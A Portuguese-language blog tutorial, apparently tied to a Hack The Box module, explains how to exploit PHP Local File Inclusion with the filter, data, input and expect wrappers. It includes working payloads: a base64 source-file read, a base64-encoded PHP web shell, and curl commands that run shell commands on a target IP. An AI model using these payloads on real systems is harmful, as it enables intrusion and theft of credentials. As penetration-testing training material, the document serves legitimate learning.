LFI - Local File Inclusion e PHP Wrapper Filter

PHP Wrapper é uma feature build-in do PHP que manipula fluxos de dados (stream). Outros protocolos suportados pelo wrapper estão listados na imagem abaixo e a documentação oficial pode ser acessada neste link



O PHP Wrapper possui filtros que recebem o input e aplicam a filtragem de acordo com o seu tipo. Durante um pentest/ataque os filtros interessantes são resource e read. Como o nome sugere, o filtro resource indica o recurso que será manipulado (Ex.: arquivo local) e o filtro read aplica o formato de leitura do recurso. 

Read Filter:  possui 4 diferentes filtros para uso: 


LFI - Local File Inclusion e PHP Wrapper

Quando uma aplicação é vulnerável a LFI - Local File Inclusion, podemos testar o uso do PHP Wrapper Filter para ler os arquivos internos e buscar por credenciais, dados do ambiente e informações sobre a configuração da aplicação. 

Uma aplicação pode ter diversos arquivos php descobertos após a execução de um Fuzzing. No entanto, ao tentar ler esses arquivos diretamente, nenhuma informação é renderizada pelo html. 

Nesse cenário, o php wrapper permite a leitura desses arquivos. A leitura dos arquivos .php  faz parte da fase de coleta de informações internas da aplicação e do servidor. 

No exemplo abaixo é executado o seguinte comando na url:

php://filter/read=convert.base64-encode/resource=index

Essa aplicação é vulnerável a LFI - Local File Inclusion e o parâmetro ?page foi descoberto durante o fuzzing e é usado para ler o arquivo index através do php wrapper. 


O comando retorna um código no formato base64 e no terminal é possível fazer o decode e ler o arquivo. 

Comando para fazer o decode: echo '[código base64] | base64 -d 


Burpsuite - usando o decode 



Decode


Ao ler o arquivo é possível encontrar um endpoint "escondido" que o Fuzzing não tinha identificado. 

Em algumas aplicações, a extensão .php é adicionada automaticamente e, portanto, somente arquivos php podem ser lidos, o que também contribui para coletar informações da aplicação como endpoints, credenciais e funcionalidades. 


LFI e outros PHP Wrappers

O LFI é uma vulnerabilidade que permite acesso a arquivos internos da aplicação ou servidor. É uma falha no código que adiciona o input diretamente na função sem nenhuma validação. 

As funções vulneráveis são mostradas na tabela abaixo disponibilizada pelo Hack The Box no módulo File Inclusion. 



Todas as funções citadas na imagem são vulneráveis ao LFI, no entanto, nem todas permitem a execução de comandos. Nos casos onde a função permite execução, o PHP Wrapper também pode ser usado para execução remota de comandos. 

PHP Wrapper Data 

No arquivo php.ini se o parâmetro allow_url_include estiver habilitado, é possível usar o PHP Wrapper Data para execução de códigos. O código é inserido em base64 e decodificado para a execução. 

No exemplo abaixo, a web shell será encodada em base64 com o comando:

echo '<? php system($_GET["cmd"]); ?>' | base64

Na aplicação vulnerável, o payload é encaminhado no parâmetro ?language da seguinte forma:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id

O comando é executado e exibido no html da aplicação. 





PHP Wrapper Input

O Input é outro wrapper e pode ser usado em requisições POST. O Data aceita apenas requisições do tipo GET. 

curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://200.123.111.17/index.php?language=php://input&cmd=id"


PHP Wrapper Expect

O Expect não é habilitado por padrão. No entanto, tem aplicação que precisa do Expect para determinadas funções e, caso o código não faça a validação do input, o Expect permite a execução direta de comandos, ou seja, sem a necessidade de usar uma shell. 


Usando o comando abaixo, a execução do comando é direta:

curl -s "http://200.123.111.17/index.php?language=expect://id"

Referência:

[+] PHP Wrapper 

[+] Hack Tricks Book





Comentários

Postagens mais visitadas